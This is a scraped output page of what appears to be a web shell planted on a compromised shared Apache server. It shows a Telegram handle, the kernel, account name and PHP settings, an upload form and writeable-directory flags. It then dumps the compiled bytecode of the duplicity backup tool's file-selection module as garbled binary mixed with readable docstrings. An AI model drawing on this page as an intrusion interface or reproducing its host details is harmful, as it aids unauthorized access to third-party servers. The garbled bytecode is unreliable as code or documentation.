https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/duplicity/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/duplicity/__pycache__/selection.cpython-310.pyc
o

��`�W�@s�ddlmZddlmZddlmZddlZddlZddlZddlZddlm	Z	ddlm
Z
ddlmZddlmZdd	l
mZmZmZdd
lT	Gdd�de�ZdS)
�)�next)�str)�objectN)�config)�diffdir)�log)�util)�
GlobbingError�FilePrefixError�select_fn_from_glob)�*c@s�eZdZdZe�dejejB�Zdd�Z	dd�Z
dd�Zd	d
�Zdd�Z
d
d�Zdd�Zdd�Zdd�Zd*dd�Zdd�Zdd�Zdd�Zdd�Zd d!�Zd"d#�Zd$d%�Zd&d'�Zd(d)�ZdS)+�SelectayIterate appropriate Paths in given directory

    This class acts as an iterator on account of its next() method.
    Basically, it just goes through all the files in a directory in
    order (depth-first) and subjects each file to a bunch of tests
    (selection functions) in order.  The first test that includes or
    excludes the file means that the file gets included (iterated) or
    excluded.  The default is include, so with no tests we would just
    iterate all the files in the directory in order.

    The one complication to this is that sometimes we don't know
    whether or not to include a directory until we examine its
    contents.  For instance, if we want to include all the **.py
    files.  If /home/ben/foo.py exists, we should also include /home
    and /home/ben, but if these directories contain no **.py files,
    they shouldn't be included.  For this reason, a test may not
    include or exclude a directory, but merely "scan" it.  If later a
    file in the directory gets included, so does the directory.

    As mentioned above, each test takes the form of a selection
    function.  The selection function takes a path, and returns:

    None - means the test has nothing to say about the related file
    0 - the file is excluded by the test
    1 - the file is included
    2 - the test says the file (must be directory) should be scanned

    Also, a selection function f has a variable f.exclude which should
    be true iff f could potentially exclude some file.  This is used
    to signal an error if the last function only includes, which would
    be redundant and presumably isn't what the user intends.

    z(.*[*?[]|ignorecase\:)cCs0t|t�sJt|���g|_||_|jj|_dS)z/Initializer, called with Path of root directoryN)�
isinstance�Pathr�selection_functions�rootpath�uc_name�prefix)�self�path�r�5/usr/lib/python3/dist-packages/duplicity/selection.py�__init__TszSelect.__init__cCs|S�Nr�rrrr�__iter__[szSelect.__iter__cCs
t|j�Sr)r�iterrrrr�__next__^s
zSelect.__next__cCs|j��|�|j�|_|S)z)Initialize generator, prepare to iterate.)r�setdata�Iteraterrrrr�set_iteras
zSelect.set_iterc#sD�dd����fdd�}|jst�td�|j�dSt�td�|j�|V|��s.dS||�g}g}|r�z
t|d�\}}WntyT|�	�|rR|�	�Yq5w|d	kr�|rs|D]}t�
td�|jd
�|Vq]|dd�=t�td�|j�|V|��r�|�||��n|dkr�|�|�|�||��|s7dSdS)aReturn iterator yielding paths in path

        This function looks a bit more complicated than it needs to be
        because it avoids extra recursion (and no extra function calls
        for non-directory files) while still doing the "directory
        scanning" bit.

        c
Ss�tj�|j|�}z9t�|�tj}t�|�r,t�t	d�t
�|�tjj
t
�|��WdSt�t	d�t
�|�tjjt
�|��WdSty^t�t	d�t
�|�tjjt
�|��YdSw)NzSkipping socket %szError initializing file %s�'Error accessing possibly locked file %s)�osr�join�name�stat�ST_MODE�S_ISSOCKr�Info�_r�fsdecode�InfoCode�skipping_socket�escape�Warn�WarningCode�cannot_iterate�OSError�cannot_stat)�excr�filename�fullpath�moderrr�
error_handlerrs(
�
�����z%Select.Iterate.<locals>.error_handlerc3s��ddlm}|�|�D]]}|��tj||f�}|ri��|�}|jdvrRt�	|j
tj�sR|dks4|dkrRt�
td�|jtjjt�|j
��tjrQtjjd7_q|dkr\|dfVq|dkri|��ri|dfVqdS)aGenerate relevant files in directory path

            Returns (path, num) where num == 0 means path should be
            generated normally, num == 1 means the path is a directory
            and should be included iff something inside is included.

            r)�robust)�reg�dir��r!N)�	duplicityr8�listpath�check_common_errorr�appendr
�typer"�accessr$�R_OKrr.r)rr/�cannot_readrr-r�stats�Errors�isdir)rr8r4�new_path�s�r7rrr�diryield�s6�
�

�
�
��
��z Select.Iterate.<locals>.diryieldz*Warning: base %s doesn't exist, continuingNzSelecting %s���r�r;)rArr.r)r�DebugrGr�
StopIteration�pop�Logr@)rrrK�diryield_stack�delayed_path_stack�subpath�val�delayed_pathrrJrrhsL�
"
�
�
�
�zSelect.IteratecCs�t�d|j�|jst�d�dSd}|jD]#}||�}t�dt|�|jf�|dkr0d}q|dks8|dkr:nq|rC|dkrCd}|d	urId}|dkrTt�d
�|S|dkr_t�d�|S|dkseJ�t�d�|S)
zARun through the selection functions and return dominant val 0/1/2zSelection: examining path %sz8Selection:     + no selection functions found. Includingr;Fz,Selection:     result: %4s from function: %sr<TrNzSelection:     - excluding filezSelection:     + including filez/Selection:     ? scanning directory for matches)rrNrrrr$)rr�scan_pending�sf�resultrrrr
�s8

��
�
�
z
Select.Selectc
Cs�d}z�|D]�\}}|dkr|�|�|d��q|dkr'|j|�|d�dd�q|dkr5|j|��dd�q|dks=|dkrS|�||d|�D]}|�|�qF|d	7}q|d
kr`|�|�d��q|dkrn|�|�|d��q|dkr{|�|�|��q|d
kr�|�|�|d	��q|dks�|dkr�|�||d	|�D]}|�|�q�|d	7}q|dkr�|�|�|d	��qJd|��Wnty�}z|�	|�WYd}~nd}~ww|t
|�ks�J�|��dS)aCCreate selection functions based on list of tuples

        The tuples are created when the initial commandline arguments
        are read.  They have the form (option string, additional
        argument) except for the filelist tuples, which should be
        (option-string, (additional argument, filelist_fp)).

        rz	--excludez--exclude-if-presentT)�add_to_startz--exclude-device-filesz--exclude-filelistz--exclude-globbing-filelistr;z--exclude-other-filesystemsz--exclude-regexpz--exclude-older-thanz	--includez--include-filelistz--include-globbing-filelistz--include-regexpzBad selection option %sN)�add_selection_func�glob_get_sf�present_get_sf�devfiles_get_sf�filelist_globbing_get_sfs�other_filesystems_get_sf�
regexp_get_sf�exclude_older_get_sfr	�parse_catch_error�len�parse_last_excludes)r�	argtuples�	filelists�filelists_index�opt�argrX�errr�	ParseArgs�sF


���zSelect.ParseArgscCsTt|t�rt�td�||jftjj�dSt|t�r)t�td�|tjj	�dS�)zDeal with selection error excz�Fatal Error: The file specification
    %s
cannot match any files in the base directory
    %s
Useful file specifications begin with the base directory or some
pattern (such as '**') which matches the base directory.z*Fatal Error while processing expression
%sN)
rr
r�
FatalErrorr)r�	ErrorCode�file_prefix_errorr	�globbing_error)rr3rrrrcs

��

��zSelect.parse_catch_errorcCs@|jr|jdjst�td�|jdjftjj�dSdSdS)z;Exit with error if last selection function isn't an excluderLz�Last selection expression:
    %s
only specifies that files be included.  Because the default is to
include all files, the expression is redundant.  Exiting because this
probably isn't what you meant.N)r�excluderrmr)r$rn�redundant_inclusionrrrrre.s
���zSelect.parse_last_excludesNcCs&|r|j�d|�dS|j�|�dS)z6Add another selection function at the end or beginningrN)r�insertr@)r�sel_funcrZrrrr[;szSelect.add_selection_funccCs�|��}|s
d|fS|�d�rd|fS|}|�d�r#d}|dd�}n
|�d�r0d}|dd�}|�d�r:|�d�sD|�d	�rJ|�d	�rJ|dd
�}||fS)aZ
        Sanitises lines of both normal and globbing filelists, returning (line, include) and line=None if blank/comment

        The aim is to parse filelists in a consistent way, prior to the interpretation of globbing statements.
        The function removes whitespace, comment lines and processes modifiers (leading +/-) and quotes.
        N�#z+ r;r<z- r�'�"rL)�strip�
startswith�endswith)r�line�include_default�includerrr�filelist_sanitise_lineCs	


(zSelect.filelist_sanitise_lineccsv�t�td�|�tjrdpd}z|�d�WnY|���|�D]}|�||�\}}|s1q$|�	||�Vq$dS)a-Return list of selection functions by reading fileobj

        filelist_fp should be an open file object
        inc_default is true iff this is an include list
        list_name is just the name of the list, used for logging
        See the man page on --[include/exclude]-globbing-filelist

        zReading globbing filelist %s��
rN)
r�Noticer)r�null_separator�seek�read�splitr~r\)r�filelist_fp�inc_default�	list_name�	separatorr{r}rrrr_`s�
�z Select.filelist_globbing_get_sfscs>�dks
�dks
J�|j�����fdd�}�|_d|_|S)z=Return selection function matching files on other filesystemsrr;cs|��r|���kr�SdSr)�exists�	getdevloc�r�r}�root_devlocrrrt}sz1Select.other_filesystems_get_sf.<locals>.sel_funczMatch other filesystems)rr�rqr$)rr}rtrr�rr`ws
zSelect.other_filesystems_get_sfcsj�dks
�dks
J�zt�|��Wnty"t�td�|��w��fdd�}�|_d||_|S)z0Return selection function given by regexp_stringrr;z%Error compiling regular expression %scs��|j�r�SdSr)�searchrr��r}�regexprrrt�sz&Select.regexp_get_sf.<locals>.sel_funczRegular expression: %s)�re�compile�	Exceptionrr.r)rqr$)r�
regexp_stringr}rtrr�rra�s�
zSelect.regexp_get_sfcCsdd�}d|_d|_|S)z4Return a selection function to exclude all dev filescSs|��rdSdS�Nr)�isdevr�rrrrt�sz(Select.devfiles_get_sf.<locals>.sel_funcr;zExclude device files�rqr$)rrtrrrr^�szSelect.devfiles_get_sfcsf�dks
�dks
J�t|t�sJ�|dkr�fdd�}n|�|��}�|_d�r+dp,d|f|_|S)	z.Return selection function given by glob stringrr;z**cs�Srrr��r}rr�<lambda>�sz$Select.glob_get_sf.<locals>.<lambda>zCommand-line %s glob: %sr}rq)rr�glob_get_normal_sfrqr$)r�glob_strr}rtrr�rr\�s�zSelect.glob_get_sfcsn|dks
|dks
J�ddlm���fdd�}|dkr|}nt�dtjj�||_d|r/dp0d	�f|_|S)
zEReturn selection function given by existence of a file in a directoryrr;)r?cs0���r�fdd�}�|�j�g�rdSdSdS)Ncs>t�td��jtjjt��j��tj	rtj	j
d7_
dS)Nr!r;F)rr.r)rr/rDrr-rrErF)�_exc�	_filenamer�rrr7�s���zFSelect.present_get_sf.<locals>.exclude_sel_func.<locals>.error_handlerr)rG�contains)rr7�r?r4r�r�exclude_sel_func�s�z/Select.present_get_sf.<locals>.exclude_sel_funcz<--include-if-present not implemented (would it make sense?).zCommand-line %s filename: %szinclude-if-presentzexclude-if-present)�duplicity.robustr?rrmrn�not_implementedrqr$)rr4r}r�rtrr�rr]�s��zSelect.present_get_sfcCszt|t�sJd|�t��d�d��d}|���d�r(|td�d���}d}t|dd	�|j	�}|s7t
|��t|||�S)
aMReturn selection function based on glob_str

        The basic idea is to turn glob_str into a regular expression,
        and just use the normal regular expression.  There is a
        complication because the selection function should return '2'
        (scan) for directories which may contain a file which matches
        the glob_str.  So we break up the glob string into parts, and
        any file which matches an initial sequence of glob parts gets
        scanned.

        Thanks to Donovan Baarda who provided some code which did some
        things similar to this.

        zThe glob string �ignorez is not unicodeFzignorecase:NTr;r�)rr�decode�sys�getfilesystemencoding�lowerryrdrrr
)rr�r}�ignore_case�file_prefix_selectionrrrr��s�zSelect.glob_get_normal_sfcs"�fdd�}d|_d�f|_|S)zFReturn selection function based on files older than modification date c
sR|��sdSztj�|j��krWdSWdSty(}zWYd}~dSd}~wwr�)�isregr"r�getmtimer$r1)rrk��daterrrts��
��z-Select.exclude_older_get_sf.<locals>.sel_funcTzSelect older than %sr�)rr�rtrr�rrbs
zSelect.exclude_older_get_sfr)�__name__�
__module__�__qualname__�__doc__r�r��I�S�glob_rerrrr rr
rlrcrer[r~r_r`rar^r\r]r�rbrrrrr
/s,"_%0


'"r
)�builtinsrrrr"r%r�r�r=rrrr�duplicity.globmatchr	r
r�duplicity.pathr
rrrr�<module>s

https://t.me/RX1948 - 2025